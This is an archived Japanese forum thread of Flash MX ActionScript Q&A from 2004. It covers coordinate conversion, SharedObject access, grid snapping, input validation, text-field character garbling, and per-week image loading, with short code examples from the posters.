FLASH MX Win2000にて。 親MCの中に子MC、子MCの中にいくつかの孫MCがあります。 親MC━子MC┳孫MC ┣孫MC ┗孫MC ↑こんな感じでくるんである感じです。 孫MC達はランダムに動いたり拡大縮小します。 その孫MC達の見た目上の中心点というのは、子MCの_width/2と_height/2になるかと思います。 これを親MCの中心点に重ねたいのですが、どういう風に考えたらいいのか行き詰まってます。 グローバルとローカルの座標をどうにかすればいいのかな、と思うんですが・・・知恵をお願いします。
556 :
555 :04/07/15 02:36 ID:rQmZflOb
ああズレた・・すいません。
_parent._parentでいいと思われ
558 :
湯太郎 :04/07/15 12:22 ID:F8PuWguV
それだけの画像を集めてstartDragとendDragを仕込むだけ
560 :
555 :04/07/15 17:08 ID:E6ZrVVLb
>>557 いや、最終的にはそうかも知れませんが、そこに至るのがどうも・・
子MCの_x+(width/2)の位置って、子MCのローカルの座標ですよね。それと、親MCとの差分というか、、なんかうまく説明できないんですが・・・
561 :
Now_loading...774KB :04/07/15 17:15 ID:7rF6GUFd
SharedObject で保存させたいデータのプロパティ名が様々なので、 プロパティ名を変数で指定したいのです。 しかし以下のようにすると「代入演算子の左側は、変数またはプロパティでなければなりません。」とコンパイルエラーになってしまいます。 こういう場合はどうすればよいのですか? SaveSharedObjectData(solName, propertyName, value) { var so = SharedObject.getLocal(solName); eval("so.data." + propertyName) = value; // ここでエラー so.flush(); }
562 :
561 :04/07/15 17:15 ID:7rF6GUFd
あ、すみません。 FlashMX / WinXPPro です。
>>561 エラーが出るのは、変数名が引数のevalが返すのは変数の値だから。
"val" = value; としてるのと同じ事になりエラーになる
プロパティー名に階層が必要なんじゃなければ
so.data[propertyName] = value; にすればOK。
もしプロパティー名に複数階層が必要ならば、
SaveSharedObjectData(solName, propertyName, value) {
var so = SharedObject.getLocal(solName);
var s = "so.data." + propertyName;
var path = s.substr(0,s.lastIndexOf("."));
var name = s.substr(s.lastIndexOf(".")+1);
eval(path)[name] = value;
so.flush();
}
とでもすればできる。
ただし、so.data.a.bに作るなら、so.data.aにobjectを入れた後じゃないと
作れないけどね。
>>560 MovieClip.localToGlobalを弄くろう
565 :
561 :04/07/15 20:15 ID:???
>>563 ありがとうございます!無事できました!
ActionScriptもこんな風にブラケットアクセスできるなんて目から鱗でした。
ちょっとコード全体を書き直してキレイにしたい・・・w
566 :
555 :04/07/15 22:50 ID:h1cilrdO
>>564 あ、やっぱりその辺ですよね。もうちょっといじってみます。
567 :
あぶら :04/07/16 12:21 ID:???
今、パズルを作ろうとしているのですが、行き詰っています。
線で区切られた三角形の範囲の中に三角形のシンボルを、
線にかぶることなく詰めたいのですが、作り方がおかしいらしく、
うまくいきません。
やり方としては、線全てをシンボルにし、
中に詰める三角形のシンボルと線が重なったときに、
三角形のシンボルを動かそうとしました。
しかし、当たる範囲が境界のボックスで当たるため、
いつまでも動いてしまうという状況です。
ちなみに現段階では、x方向にしか動かしていません。
うpしたので、よろしければダウンロードして、
どうすればよいか教えてください。お願いします。
ttp://up.isp.2ch.net/up/892b14ad670a.zip 環境はFLASH MX をXPで動かしています。
よろしくお願いします。
縦横ともに間隔が固定なんだから数値でやればいいじゃん
569 :
あぶら :04/07/16 13:25 ID:???
>>568 具体的にどうすればよいですか?
どこを数値にするのか、どういう方法で、
やればいいか、おもいつかないのですが・・・
ご迷惑かけてすみません。具体的にお願いします。
570 :
Now_loading...774KB :04/07/16 13:51 ID:zEEcKcJ5
_root.createTextField("list_txt", 1, 10, 10, 480, 380); list_txt.html = true; list_txt.border = true; list_txt.mouseWheelEnabled = true; temp = "<font size='20'>"; temp += "<font color='#FF0000'>マウスホイールでスクロールします。\n\n</font>"; font_array = TextField.getFontList(); for( i in font_array){ temp += "<font face=\"" + font_array[i] +"\">"; temp += font_array[i] + "\n</font>"; } temp += "</font>"; list_txt.htmlText = temp; 質問です。MX2004、WinXPを使っています。 ユーザー側で、自由にフォントを変更できるFlashを作りたいと思います。 そこで上記のようなテストスクリプトを走らせてみたのですが、font設定が 反映されないフォントが幾つかあります。(自分の環境では、HGフォントや ダイナフォント等いくつかの日本語フォント) また、これを98SEで走らせると、今度は日本語が全て□に文字化けしてしまいます。 TextFormat クラスやCSSを使っても同じ症状のようで、とても悩んでいます。 どこか間違っているのでしょうか?それともFlashのバグでしょうか? 教えてください。
>>569 ドラッグしてる最中のMCのXY座標を
升目の大きさの倍数に切り捨ててやればいい
572 :
あぶら :04/07/16 15:48 ID:???
>>571 ごめんなさい。どうしたらいいかは大体分かったと思うのですが、
どのような式にすればいいのかが、まだ分かりません。
「MCの座標×升目の座標/MCの座標」という事でいいのでしょうか?
ご迷惑かけますが、よろしくお願いします。
一マスのX座標 * Math.floor(マウスのX座標 / 一マスのX座標) 一マスのY座標 * Math.floor(マウスのY座標 / 一マスのY座標)
574 :
あぶら :04/07/16 18:00 ID:???
>>573 とりあえず、当てはめてみました。
onClipEvent (enterFrame) {
this.onPress = function() {
一マスのX座標*Math.floor(マウスのX座標/一マスのX座標);
一マスのY座標*Math.floor(マウスのY座標/一マスのY座標);
this.startDrag();
};
this.onRelease = function() {
this.stopDrag();
};
}
というふうになりました。
マスはMCにする必要とかはありますか?
マスの座標は一つ一つ手作業で調べていくしか方法が無いのでしょうか?
よろしくおねがいします。
575 :
570 :04/07/16 18:15 ID:zEEcKcJ5
>>574 >マスはMCにする必要とかはありますか?
必要無い。
>マスの座標は一つ一つ手作業で調べていくしか方法が無いのでしょうか?
座標を一マスのサイズで割る。
そんなことより
>>570 他の人も症状でますでしょうか?
なんとか回避する方法を探しているのですが、どなたかお願いします。
>>574 一マスのX座標*Math.floor(マウスのX座標/一マスのX座標);
一マスのY座標*Math.floor(マウスのY座標/一マスのY座標);
はメソッドとして独立させる (例 this.move()
on (press) {
this.onEnterFrame = this.move; //追尾関数を関連付ける
}
on (release) {
delete this.onEnterFrame;
}
577 :
Now_loading...774KB :04/07/16 18:16 ID:MiQD+1ld
テキスト入力欄に入力された値が数字であるかどうかの判定はどのようにしたらいいのでしょう? 文字が混ざっていたら、エラー処理をしたいのです。
>>577 if (typeof(hoge) != "number") {
trace("error");
}
579 :
Now_loading...774KB :04/07/16 18:33 ID:MiQD+1ld
>>578 ぬおおおおおバッチリです!ありがとうございました!!
580 :
579 :04/07/16 18:35 ID:MiQD+1ld
あれ・・・やっぱなんかだめだ・・・
581 :
579 :04/07/16 18:41 ID:MiQD+1ld
>>578 さん
if (hoge<100 || typeof (hoge) != "number") {
hoge = 100;
}
//hogeが100より小さいか、数字じゃないばあいは、hogeに100を。
という風にしたいんですが、500など、どんな数字入れても、100にされてしまいました・・
なんででしょう・・テキスト入力で入力された「数字」も「文字」として認識されてしまう??
FlashMX
parseIntのほうがいいかな
あれれ?
584 :
570 :04/07/16 18:56 ID:???
>>579 hoge = Number(hoge);
if( isNaN(hoge) || hoge > 100 ){ hoge = 100;}
素直にこんな感じで。
ちなみに TextField.restrict を使って数字以外入力できなくする手もある。
そんなことより
>>570 を(ry
585 :
570 :04/07/16 18:58 ID:???
ああ、不等式の向き間違えた。 hoge = Number(hoge); if( isNaN(hoge) || hoge < 100 ){ hoge = 100;}
586 :
579 :04/07/16 19:22 ID:MiQD+1ld
>>584 ありがとうございます!今度こそ完璧!助かりました。感謝。
587 :
Now_loading...774KB :04/07/16 19:24 ID:MiQD+1ld
>>585 あ、そこは大丈夫でした。
最初、自分でやった時、hoge = Number(hoge);
if( hoge=="NaN" )
ってやって動かなくて、おかしいな、と思ってたんです。
NaNの時は isNaN(hoge)ってのがあるんですねー。勉強になりました。
>>570 フォントが反映されない、についてはよくわからんが、
Win98SEでの文字化けは大分前に悩んだことがある。
とりあえず、createTextFieldで作ったテキストフィールドは、
Win98SE(と、Meも)で日本語が化けるみたいで、
その時はやむなく、
・ダイナミックテキストフィールドをタイムライン上、もしくはMC上に最初から配置しておいて、
・TFに最初から_ゴシックとか日本語表示用のフォントを指定しておいて
(※これは必須かどうか検証してないのでやらなくてもいいかもしれない)
・それを_widthとかいったプロパティや、TextFormat等でコントロール
っていうやり方にしたら文字化けは直った記憶がある。
ご参考までに。
589 :
570 :04/07/17 00:52 ID:euKYPEy8
>>588 うはwwwwwwwwwwおkwwwwwwwwww!!!!!!
本当にcreateTextField使わずにその通りにやってみたら
98SEでの文字化けも直ったし、おまけに日本語フォントも
全て反映されるようになりました!!
サンキュサンキュ!殆ど諦めかけてました。
>・TFに最初から_ゴシックとか日本語表示用のフォントを指定しておいて
英字フォントを試しに指定してみたらやはり文字化けしました。
ここで日本語フォントを指定するのがポイントみたいですね。
本当にありがとうございました。
とりあえずMacromediaは反省しる!
590 :
あぶら :04/07/17 13:19 ID:???
しばらく考えましたが、やはりよく分かりません。
>>575 「座標を一マスのサイズで割る。」というところなのですが、
思い当たる節を全部やってみたのですが、うまくいきません。
どなたかもっと分かりやすく教えていただけたらよろしいのですが・・・
よろしくおねがいします。
ものすごいなだれ
マス目の幅の事だよ縦横ともに固定だろ
593 :
あぶら :04/07/17 17:35 ID:???
> そうです。固定です。 じゃあ何で疑問なん?
595 :
あぶら :04/07/17 17:39 ID:???
>>594 座標はマウスの座標ですか?
「マウスの座標をマス目の幅で割る」ということですか?
これで、それぞれのマス目の座標がでるのですか?
一マスのX座標*Math.floor(マウスのX座標/一マスのX座標); 一マスのY座標*Math.floor(マウスのY座標/一マスのY座標); 答え書いて有るじゃん
597 :
あぶら :04/07/17 17:46 ID:???
>>596 一マスのX座標*Math.floor(マウスのX座標/一マスのX座標);
一マスのY座標*Math.floor(マウスのY座標/一マスのY座標);
これは何に対する式なんですか?
これをMCに書いて、そこから出てくる位置に移動させて、
あげればいいということですか?
どこまでASを理解してるのかの簡単なレベル分けをして申告させたほうがいいな
分からなさ過ぎる人への対処に困る
>>597 そう。
onPress時にonEnterFrameにその関数を括りつける
onRelease時にonEnterFrameをdeleteする
既出で解答がでてるでしょうが
599 :
あぶら :04/07/17 18:01 ID:???
>>598 関数の括りつけ方も良く分かっていないので、
勉強して試してみて、また何か疑問があったら、
ここに来ようと思います。
ありがとうございました!!
>>598 低級から中級あたりまで、
初心者スレで解答されてるけどね。
段階としては、
ASがさっぱり分からない
サンプルの改造をする(クリックゲームや紙芝居
一通りゼロから組める
基礎知識の充実、細かな動作の検証、デバッガの利用
目的のASを快適に組める。より良いコードの研究
高度なゲーム、cgi、FCSなどなど
こんな感じかな
>>600 ぼくは一人で肉屋さんへ買い物行けます。
おむつは取れて、一人でトイレ行けます。
たまにうんちが良く拭けなくてパンツが汚れる事もあるレベルです。
どれくらいの段階でしょうか?
次から質問する時に明記したいので。教えてください。
>>600 > サンプルの改造をする(クリックゲームや紙芝居
> 一通りゼロから組める
この間に「リファレンスの読み方がわかる」を加えた方がいいかも。
ゼロから組める人ならエッセンスを教えるだけで十分だし
リファレンスが読める人なら具体的なオブジェクトとメソッドを教えればいい
・stopとplayあたりは分かる ・ボタンの作り方は分かる えと、クリックした時に別のウインドウで他のwebページに飛ぶASを教えてくださいです。
getURL(JavaScript:window.ope
>>604 すみません。
URLはどの辺に表記すればよいでしょうか?
>高度なゲーム、cgi、FCS 高度なゲームって例えばどんなの? FCSってなんじゃろな? 教えて先生! そういえば最近 先生を見かけないな・・・。
ASの変なのが来て荒れたから辞めたんじゃない? FCSはふらっしゅこみゅにけーしょんさーばやね。
608 :
606 :04/07/17 22:47 ID:iR8eZmbH
on (release) {
getURL("
http://www. 〜", "_blank");
}
sageたのにIDが! 22:04 から 22:36の間に何が!?
609 :
先生 :04/07/18 04:43 ID:YrbXQ5GS
解答する人全部先生でいいじゃん
試しage
611 :
Now_loading...774KB :04/07/18 18:28 ID:lI8czqcI
すみません質問させてください。 MCのスクリプト onClipEvent (load) { hoge = 0; if (hoge == 10) { _y += 10; } } ボタンのスクリプト on(release){ this.MC.hoge++; } これで、ボタンを10回クリックしたら、MCのy座標が変わる様にしたのですが、 動いてくれません。どこか間違っているところありますか? 変数のリストアップで見たら、ボタンを押すたびにhogeに1ずつ代入されていますので、 参照ミスじゃないと思うのですが。
612 :
先生 :04/07/18 18:35 ID:ZjhBSQCO
>>611 onClipEvent (load) {
hoge = 0;
}
ボタンのスクリプト
on(release){
this.MC.hoge++;
if (this.MC.hoge == 10) {
this.MC._y += 10;
}
}
loadイベントは最初の一回だけ呼び出されることはわかってるな?
>>611 MCが出現したタイミング(load)でのイベントだよね。それは。
つまり、出現したタイミングでのみ参照してる。
そのスクリプトをベースにするならば、onClipEvent(XXXXXXX)にすればリアルタイムに参照してくれる。
XXXXXXXXは自分で考えてちょ。
MCに hoge=0; function hoge10(){ _y+=10; } ボタンに on(release){ this.MC.hoge++; if (this.MC.hoge == 10) { this.MC.hoge10(); } }
617 :
612 :04/07/18 18:43 ID:ZjhBSQCO
618 :
611 :04/07/18 20:03 ID:lI8czqcI
>>612-617 ありがとうございます。出来ました!
MCのスクリプト
onClipEvent (load) {
hoge = 0;
}
onClipEvent (enterFrame){
if (hoge == 10) {
_y += 10;
if (_y +=10;)
hoge++;
}
}
この様にやったら出来ました。本当にありがとうございました。
619 :
612 :04/07/18 20:35 ID:ZjhBSQCO
>>618 この仕様でenterFrameはお勧めしないぜ・・・
漏れの場合は、フラグ参照用の空MCで監視する方法を使う事が多いかな・・・。
621 :
先生 :04/07/18 21:03 ID:YrbXQ5GS
この先生きのこ?
622 :
Now_loading...774KB :04/07/19 22:00 ID:ZuYZQe1q
数字の進数変換をやりたいと思っています。 10進数を16進数にするのはtoString(16)をつかってできたのですが、 16進数を10進数に直すときに、元が"FF3333"のような数字だとストリング扱いになってうまくできません。 うまくいく方法を教えてください。
parseInt使え
624 :
Now_loading...774KB :04/07/20 14:45 ID:hInxCFYu
XP/MX2004で作成しています。 MC my_mcに、別フォルダswf_img内のa1.jpg(連番)・・b1.jpg・・c1.jpgを 一週間ごとに順に読み込ませるスクリプトを書きたいのですが、 まだ画像の数などは確定していません。 var img=new Array() img[0]="swf_img/a1.jpg" img[1]="swf_img/a2.jpg" ・ ・ と配列を作ってみて、 var n=new Date(),d=n.getDate(),w=0 var t=new Date(n.getYear(),1,1) for(i=1;i<d;i++){ t.setDate(t.getDate()+1) if(t.getDay()==0)w++ } と何週目かを出したかったのですが、なぜかwの値は3に(今7月の3週だから?) なり、1月1日からの数字を出せません。 さらにloadMovieのURLの部分にどのように書けば良いのかわかりません。 どなたか教えてくださいですー!
625 :
ラーメン :04/07/20 15:14 ID:c5cPE0mq
こんにちわ、始めまして。 僕、初心者ですけど、よろしくお願いします。男です。 こんにち(・∀・)イイわ。
age
627 :
Now_loading...774KB :04/07/20 22:18 ID:Qq6ps7nJ
リプレイボタンのASを教えてくらはい。
628 :
naomi :04/07/20 22:24 ID:pT8+jR5K
>627 リプレイボタンを付ける場所を止めるのかい? そのまま流してる再にずっとリプレイボタンがでてるのかい? どっちだ?
どうぞ止めてください
631 :
Now_loading...774KB :04/07/21 03:51 ID:TqAKDGTC
>>627 本体の最後のフレームにボタンを置くだけじゃだめなの?
そうじゃなければ、とりあえずボタン(仮にbtnA)を作って、
それをさらにシンボル化してMC(仮にmcA)にする。
mcAに配置したbtnAのインスタンス名もbtnAにする。
mcAのタイムラインのASとして
this.onLoad=function() {
btnA.onRelease=function() {
[制御したいMCのパス].gotoAndPlay(1);
}
}
this.onEnterFrame=function() {
if([制御したいMCのパス]._totalframes==[制御したいMCのパス]._currentframe){
[制御したいMCのパス].stop();
btnA._visible=true;
}else{
btnA._visible=false;
}
}
こんな感じのMCを用意すればいいんじゃないかな。
これだとonEnterFrameイベントがずっと発生しちゃうから、
出来ればもう少しスマートに書きたいところだけど、
情報量が少なすぎてこれ以上アドバイス出来ないわ。
とりあえず、パスの指定には気をつけてね。
>>624 眠れないので、ついでにレスしますね。
まず、getYear()の使い方を間違ってます。
それだと、今年の日付から1900を引いた数が返ってきちゃう。
つまり、104年の1月1日かな。ここで使うならgetFullYear()。
次のfor文も間違ってます。
1月1日から、当日の日付分までしか回りません。今日だとつまり、21回。
だから、1月1日から1月21日までしかループしてません。
で、そもそも、こんなとこでfor文を使ったら、記述が正しくても、
年末なんかは330回以上もforのループをしなくちゃいけないわけで、マシンが泣きます。
それと、どの部分に記述しているのか分からないけど、ローカル・グローバル変数の
使い方を勉強しましょう。dもwもiもローカル変数で問題ありません。
不要な変数は残さずにクリアしてあげましょう。
画像も、これで例えば365日分準備すると、配列が大変なことになります。
何枚読ませるかやネーミングルールは、ある程度仕様を固めておくべきです。
駄目出し終了です。
633 :
Now_loading...774KB :04/07/21 05:20 ID:TqAKDGTC
>>624 週ごとに切り替えるんだから、365日分も画像はないかー。
あちゃー。
で、このままだと嫌がらせみたいなので、サンプルを書きますね。
仮に1年の全ての週の分だけ画像を用意し、そのディレクトリは
swf_img/だとして、ファイル名は先頭に"a"、1週目から連番とします。
function getTotalWeeks() {
var n = new Date();
var t = new Date(n.getFullYear(), 0, 1);
var tmpDate = Math.ceil((n-t)/(1000*60*60*24));
tmpDate += t.getDay();
var totalWeeks = Math.ceil(tmpDate/7);
return totalWeeks;
}
function imgLoad() {
[読み込むターゲットMC].loadMovie("swf_img/a"+getTotalWeeks()+"jpg");
}
634 :
Now_loading...774KB :04/07/21 05:21 ID:TqAKDGTC
>>624 続きです。
ここ、インデントがきかないので見にくいでしょうが…。
簡単に書くと、当日の日付を取得し、その年の1月1日からの
経過時間をミリ秒で求めます。そして、日に変換後、7で割ります。
1月1日が何曜日かということを考慮して、途中でgetDay()を使ってます。
何週目かを求める部分と画像を読み込む部分はfunctionとして
切り分けてやり、変数は全てローカル扱いですぐにクリアしてやります。
使う時は、imgLoad()を呼び出します。
かなりざっくりと書きましたが、これ以上を求める場合は
自分で頭をひねってみてくださいね。とっかかりは作りましたので。
では、楽しいAction Scripライフを!
あ、今のうちにトリップでもつけとこっと。
ちょっとお聞きしたいのですが、 私は、XPでMX2004使ってます・・・ FLASHでコマンドプロンプトの操作ってできないんでしょうか? 私の考えでは、もし動かせるならnet sendを使ったローカル内でのチャット もどきを作りたいです。 分かる方お願いします。
637 :
Now_loading...774KB :04/07/21 10:15 ID:yWppkLQX
>>631 ◆oFmr/CsiQkさま
ありがとうございますぅぅぅぅ(つдT)
スクリプト本当に苦手なので非常に助かりました。
カテゴリ別に写真が分かれていて、後々の増減や変更が出そうなので、
管理上aとかbとかつけて欲しいというリクエストが来ているのですが
その辺りも頭をひねりつつがんばってみます。
638 :
Now_loading...774KB :04/07/21 12:33 ID:IehVLBJS
質問させてください テキストデータの再生のようなものを作っているのですが html みたいな 感じの形式にしようとおもって A[1]B[ここから] ・ ・ ・ A[12]B[このコメントを表示させたい] こんな感じの外部テキストを読み込んで表示させたいのですが 文字検索のやり方がわかりません どうやればいいでしょうか?
>>636 プロジェクタとしてexeファイルにすればfscommandで可能。
swfのままやブラウザで見る場合は、そんな事出来たら危険すぎるので不可能。
おかげさまでできました!画像の数はどうしても変動するので、
配列を作ってから
>>633 の方法で出した週数の配列を
imgLoadで読み込ませる形にしました。
配列の数より週数が大きくなった時の分岐を作って、
その場合は週数を配列で割った余りを代入する形で
どうやら動いてくれているようです。
あまりスマートな方法じゃないような気がするのですが何とかなりました。
631 ◆oFmr/CsiQkさまありがとうございましたー!
>>639 コマンドプロンプトの起動は出来ても
操作は出来ないと思うが・・・
>>641 そういうことをやるexeを作ってfscommandフォルダ内に入れておけばどうかな?
>>642 そういうことをやるexeが、どういうことをするexeなのか解らないけど
チャットを作るにはFLASHとの動的な通信が必要になると思うが・・・
それだったらXMLソケットサーバ起動してやりとりする方がスマートな気がする。
644 :
Now_loading...774KB :04/07/21 16:12 ID:cf0HTP4d
プロジェクタからPICファイルをローカルに保存させることってできますでしょうか? ボタンをクリックすると「どこへファイルを保存しますか?」みたいなのが立ち上がるようにしたい。
645 :
Now_loading...774KB :04/07/21 17:25 ID:M+ajmHeg
以前クラスの使用について窺った者です。またよろしくお願いします。 以下のスクリプトを_rootの1フレーム目に記述しました。 //Buttonオブジェクトをスーパークラスとする function MyButton () { } MyButton.prototype = new Button(); MyButton.prototype.onRollOver = function() { trace ("button"); } Object.registerClass("b1", MyButton); 2フレーム目にthis.stop();を記述し、リンケージ識別子"b1"を割り振ったオブジェクトをライブラリ から配置。するとonRollOverでtrace文が出力されません。 同様のことをMovieClipでやる(MovieCilpオブジェクトを継承)と、出力されました。 Buttonオブジェクトの継承の仕方が間違っているのでしょうか?
646 :
638 :04/07/21 17:59 ID:IehVLBJS
待ち中
647 :
631 ◆oFmr/CsiQk :04/07/21 22:01 ID:WwgNeKP0
>>638 Stringの中から特定の文字列が最初に出現する位置を探すのは、
indexOf("foo")ですよ。最後から探すならlastIndexOf("foo")です。
どういう仕様かよく分からないので的確なアドバイスが出来ないけど。
AとかBはどういう意味ですか?配列ですか?しかも多次元?
もう少し具体的に何がしたいのか、テキストの記述方法はどんなものかを
教えていただければ、少しは的確なことを言えるんですけど。
>>640 あ、良かったですね!お役に立てて何よりです。
その方法で問題ないと思いますよ。
色々と作ってみて、AS好きになってくださいねー。
>>645 registerClassって、MCにクラスを登録するものじゃなかったかな。
とりあえず、traceしてみては?
クラスが登録されるなら、trueが返ってくると思うんだけど。
MCではtrueなのに、BTNではfalseなら、やっぱりそうじゃないかな。
と、思います。はい。
648 :
638 :04/07/21 22:44 ID:IehVLBJS
>>647 詳しく説明してみます
外部テキストに
comment=
A[1]B[ここから]
A[2]B[こういう感じで]
A[3]
A[12]B[このコメントを表示させたい]
このようなのを延々数字順に羅列して
フラッシュに読み込みます
Aは特に意味はないです
Bはコメントを表示させるための命令です
3のように 何もコメントがない場合は表示されません
これを 数字順にコメントだけ表示させたいんです
どうやっていいやらわからなくて^^;
質問です。 背景となる画像を、キーボード゙からの入力で移動させたいのですが、 移動させることはできたのですが、どこまでも移動してしまって、 画像が途中で途切れてしまいます。 どう書けば、画像の終わりにはそれ以上動かないように、止めることができるように なるのでしょうか?初歩的すぎると思うのですが、 よろしければお答えください、よろしくお願いします。 以下のように書きました。 onClipEvent (enterFrame) { if (Key.isDown(Key.LEFT)) { this._x -= 10; } else if (Key.isDown(Key.RIGHT)) { this._x += 10; } if (Key.isDown(Key.UP)) { this._y -= 10; } else if (Key.isDown(Key.DOWN)) { this._y += 10; } }
>>648 this.stop();
hoge.loadVariables("data.txt");
hoge.ondata = function() {//読み込み完了したら開始
var com = hoge.comment;
for (var i = 0; i<=com.length; i++) {
if (com.substr(i, 2) == "\r\n") {//改行なら先に飛ばす
i += 2;
} else {
ここに代入の処理。
i++しつつ、改行に行き着いたら、ループ抜ける
}
}
gotoAndPlay(xxx);
}
漏れが前に作った処理。2byte文字使えるかは不明
>>649 背景となる画像をgazouというMCと仮定して、
gazou._widthとgazou._heightで幅と高さを
同様に、_root.width、_root._heightで画面のサイズを取得できる
if (Key.isDown(Key.LEFT)) {
if(this._x - 10 > 0){this._x -= 10;}
} else {this._x = 0;}
else if(Key.isDown(Key.RIGHT)){
if(this._x + 10 + this.width < _root.width){this._x += 10;}
else {this._x = _root.width - this.width;}
こんな感じ。背景の中心点を左上にしておかないとダメ。
画面の幅や背景のサイズをそのままの数値にして、
if(this._x + 10 + 600 < 400){this._x += 10;}てやってもよい。
if文がわかんないから質問してるんじゃないかなと フトおもた
653 :
651 :04/07/22 02:05 ID:pBnaGMcD
>>652 うん、そんな気もしてきた
あとif (Key.isDown(Key.LEFT)) {
の後のifの条件、間違っていた…
画面サイズが、400。スクロールする背景のサイズを600と仮定すると
if (Key.isDown(Key.LEFT)) {
if (this._x - 10 > 400 - 600){//移動先が、はみ出していないか確認
this._x -= 10;//はみ出してなければ移動
}else{
this._x = 400 - 600; //はみ出していたら右端に合わせて停止
}
という感じで作る
>>643 XMLソケットを使うには
サーバーで専用のプログラムを稼動している必要がありますよね?
net send コマンドが使えればWINDOWSが起動してるだけで
文字送信ができるんですよ・・・
コマンドプロンプトは、無理ですか・・・
みなさん、ありがとうございました。
655 :
645 :04/07/22 11:17 ID:1OkrdKEp
>>647 ご回答ありがとうございました。
仰る通りのようです。
656 :
Now_loading...774KB :04/07/22 14:52 ID:ZrpWMPLr
flash MX 複数テキスト入力欄をTABキーで移動させるにはどうしたらいいのでしょう??
657 :
656 :04/07/22 15:12 ID:ZrpWMPLr
自己レス&問題発生 this.a.tabIndex = 10; this.b.tabIndex = 20; this.c.tabIndex = 30; という感じで、テキストフィールドにtabIndexの値を与え、Tabキーでの移動は可能になったんですが、 今度は別のところに置いてある、ボタンの on (keyPress "<Enter>") {} が効かなくなってしまいました。どうしたものでしょう・・
今、いわゆる「テンプレFlash」を作ってるんですが、HTMLから受け取った文字列が文字化けしちゃうんです…。 HTMLのソースはこれ。 <form name="input" action="ほにゃらら.swf" method="GET"> <textarea name="変数名" rows="5" cols="30"></textarea><br> <input type="submit" value="作成"> </form> んでFlashの方に 変数名 = unescape(変数名); って書いて、ダイナミックテキストで表示するようにしてまつ。 実際の変数名とかは勿論きちんと半角で書いてます。
659 :
631 ◆oFmr/CsiQk :04/07/22 17:46 ID:YwwhNiia
>>657 ボタンにもインスタンス名をつけて、
tabIndexで値を設定すればいけると思いますけど。
>>658 System.useCodepage = true;
をルートの1フレーム目に書いていますか?
Flash Player6からは内部のエンコーディングがUTF-8なので、
システム依存のエンコーディングに変えてやる必要があります。
660 :
656 :04/07/22 18:15 ID:ZrpWMPLr
661 :
658 :04/07/22 19:34 ID:nrCTpSZ7
>>659 それを入れても解決できません(´・ω・`)
でもパブリッシュするときのFlashPlayerのバージョンを5にしたら文字化けしなくなったので
一応解決できました(´∀`;)
ありがとうございます。
>>661 パブリッシュをv5にしたら大丈夫だったってことは、
やっぱりエンコーディングの問題ではないかと…。
とりあえず解決出来て良かったですが、逆に
こちらが混乱中です(´・ω・`)
動いたからとりあえずOKと言う姿勢はFlashでは好感が持てたり。
サポート関係の仕事もしてるからさ、どうでも良いことで延々と まとわりついてくる暇なのか馬鹿なのかわからんやつよりずっとさっぱりしてていい。 この間も、MACの某ソフトを消してから入れ直したら、ボタンが”アップグレード”の ままだ、って延々と質問してくるあほがいて参った、しかもほかの問題とごっちゃにして 勝手にそれらに関連性があるって決めつけてて。 スレ違い須磨祖
666 :
Now_loading...774KB :04/07/24 02:23 ID:unujUObB
質問です。 メインタイムラインに記述↓ for( var i=0; 〜{ val=(iの値によって変化する値); _root[敵MC名+i].gotoAndPlay("攻撃"); } ↑敵MCの攻撃アニメを流す時に引数(?)valを渡す事は できないでしょうか? 敵MC側からメインタイムラインを参照しても forの終了時の値しか参照できません。 どうかよろしく。
667 :
先生 :04/07/24 04:53 ID:Jl7JJhl6
>>666 _global.valか_root[敵MC名+i].valに値を入れるという方法が有る。
668 :
Now_loading...774KB :04/07/24 10:47 ID:+52otvum
始めまして。 最近ASを勉強中なのですが、 親MCから子MCの中にfunctionを定義するやり方ってありますでしょうか? 例えば、attachMovieで生成した直後にそのMCが毎フレーム10ずつ移動すると言うのを定義するとして、 with(MC){ function xMoveAction(){ _x += 10 } onEnterFrame = function(){ xMoveAction() } } とやってみたのですが、うまく行きませんでした。 根本的に考え方が間違っている気もしますが、 何方かわかる方いたらよろしくお願いします。
>>668 KoMc.onEnterFrame = function(){
_x += 10;
}
670 :
Now_loading...774KB :04/07/24 11:54 ID:rCB6dt9j
質問です。 name = "●●●"; みたいに変数にいれた文字列の名前のインスタンスが 場に存在するかどうかの判定ってすることできますか?
for (i in this){ if(this[name]==this[i]){ trace("あったよー"); } }
>>670 if( this[name] != undefined ){ }
こういうのでもいいのかな?
何か目的に合わない気もするけど。
673 :
666 :04/07/24 21:30 ID:hw2Fu7gd
>>667 そ〜でした! あんな事に何を悩んでいたのか・・・暑さで脳が死んでいた
ようです。 ともかく解決しました ありがとー先生!
674 :
668 :04/07/25 01:30 ID:HH8YeAtU
>>669 そのやり方だと子が_x+=10されず、
親のMCが_x+=10されてしまうんです。
子MCが自分の位置を_x+=10するような形にしたいのですが、
何かやり方って無いでしょうか。
675 :
先生 :04/07/25 01:33 ID:53Iwu777
withでfunctionを囲わない。 functionの中はスコープが変わるから混乱するよ。
676 :
668 :04/07/25 01:37 ID:HH8YeAtU
やりたい事を具体的に説明すると、 1.ボタンの元になるシンボルを生成して配置 2.そのシンボルに対してボタンアクションを設定 3.ボタンアクションの元となるモーションの関数をfunctionで定義 という一連の動きを親MCが項目数に応じて行うというASを書きたいのですが、 attachしたMCへfunctionを設定するやり方がわからない状態なんです。 attachするシンボルに直接関数を定義すれば良いのですが、 それを親MCから指示するように出来無い物かと思ってまして。 もしわかる方いたら是非教えて下さい。
>>675 レス有難うございます。
function内ではwithは反映されないんですね。
とすると、function(){ with(){〜AS〜} }って形…って事じゃないのか。
それだと親MCのfunctionから子MC操ってしまうし。
もう訳が解らなくなってきた(T_T)
678 :
先生 :04/07/25 01:45 ID:53Iwu777
親MC.子MC.onEnterFrame = function () { this._x += 10; } こういうのはダメなん?
679 :
668 :04/07/25 01:52 ID:HH8YeAtU
>>678 !this付けると子MCになるんですね。
thisは合っても無くても変わらないのかと勘違いしてました…。
onEnterFrameについては解決です。ありがとうございます。
ですが、この元になる動きはもう少し複雑化するので、
functionで条件を設定して定義したいのです。
その条件も項目ごとに変えたいと思っていて、
その為に親MCから子MCの中へ関数の定義を行いたいと思ってまして。
680 :
先生 :04/07/25 02:01 ID:53Iwu777
だから 親MC.子MCでアクセスできるんだけど。。。 親MC["子MC"]でもいいけど。
>>680 言葉足らずですみません。
やりたい事をASで書くと、
function myMoveAction1(){ 〜AS〜 }
function myMoveAction2(){ 〜AS〜 }
といったような関数を子MCの中に作り、
子MCが独立して自分のイベントに応じた関数を処理するようにしたいのです。
今はそれぞれシンボルの中に関数を書いてるのですが、
これをattachで生成した際に処理用の関数を中入れられない物かと。
